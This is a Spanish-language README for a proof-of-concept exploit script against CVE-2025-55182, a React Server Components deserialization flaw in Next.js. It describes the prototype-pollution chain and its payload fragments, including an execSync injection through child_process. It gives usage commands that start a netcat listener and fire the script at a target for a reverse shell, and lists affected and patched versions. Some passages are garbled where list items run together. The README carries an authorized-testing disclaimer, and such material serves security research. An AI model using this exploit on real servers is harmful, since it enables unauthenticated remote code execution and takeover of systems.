
Prueba de concepto de explotación para CVE-2025-55182/66478, una RCE por deserialización de React Server Components, que entrega una reverse shell mediante una solicitud multipart manipulada.
Prueba de concepto de explotación para CVE-2025-55182 — apodado públicamente
"React2Shell" — una vulnerabilidad de contaminación de prototipos del lado del servidor
en la deserialización de Server Actions de React Server Components
(react-server-dom-webpack / -parcel / -turbopack), que Next.js
rastreó bajo el ID CVE-2025-66478 (rechazado por NVD como duplicado,
pero sigue siendo el identificador comúnmente utilizado al discutir el impacto del fallo
en Next.js específicamente).
Una única solicitud HTTP multipart manipulada contamina Object.prototype y
recorre la cadena de prototipos para alcanzar el constructor Function, permitiendo
a un atacante no autenticado ejecutar código Node.js arbitrario en el proceso
del servidor — CVSS 10/10.
Causa raíz. El deserializador de respuestas de acciones RSC (requireModule)
resuelve rutas de objetos enviadas por el cliente (p. ej. "$1:__proto__:then")
sin validar que la clave objetivo no sea una reservada/peligrosa
como __proto__. Establecer __proto__ en un objeto plano contamina
Object.prototype en sí mismo, por lo que cada objeto creado posteriormente hereda
la propiedad controlada por el atacante.
Cadena de explotación.
then → "$1:__proto__:then" — alcanzar la cadena de prototipos._response._formData.get → "$1:constructor:constructor" — recorrer
desde el prototipo contaminado hasta el constructor Function._response._prefix — cadena controlada por el atacante, insertada en código
que se ejecuta cuando el servidor intenta resolver el "thenable" fabricado
(un objeto falso similar a Promise). Este PoC lo establece en
process.mainModule.require('child_process').execSync('<cmd>').0, 1) en un
POST a la raíz de la aplicación con un encabezado Next-Action, que enruta
la solicitud directamente al manejador vulnerable de Server Actions.Versiones afectadas (según el informe de Datadog):
| Biblioteca | Vulnerable | Parcheada |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js se ve afectado en 15.x, 16.x y 14.3.0-canary.77+ cuando se usa el App Router. Parcheado en 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 y 16.0.7.
Solo para pruebas de seguridad autorizadas y uso educativo (p. ej. laboratorios CTF/HTB, tu propia infraestructura o compromisos con autorización escrita). No ejecutes esto contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.
curlbashnc -lvnp <puerto>) a menos que
proporciones tu propio comando mediante -cbusybox nc (o ajusta -c a cualquier utilidad de shell
disponible en el objetivo) para que el comando de shell inverso predeterminado
funcionechmod +x exploit.sh
./exploit.sh -t <objetivo> -L <puerto_local> [opciones]
| Bandera | Requerida | Descripción |
|---|---|---|
-t, --target | sí | Host/IP del objetivo que ejecuta la app Next.js vulnerable |
-L, --lport | sí* | Puerto local al que está vinculado tu listener |
-p, --port | no | Puerto del objetivo (predeterminado: 3000) |
-l, --lhost | no | Tu IP para el callback (predeterminado: detección automática) |
-i, --iface | no | Interfaz para auto-detectar --lhost |
-c, --command | no | Comando personalizado para ejecutar en el objetivo (anula el shell inverso predeterminado) |
--timeout | no | Tiempo de espera de la solicitud curl en segundos (predeterminado: 3) |
-v, --verbose | no | Imprimir detalles de solicitud/respuesta |
-h, --help | no | Mostrar ayuda |
* no requerida si se proporciona -c/--command en su lugar.
# 1) iniciar un listener
rlwrap nc -lvnp 9090
# 2) activar el exploit
./exploit.sh -t 10.129.245.214 -L 9090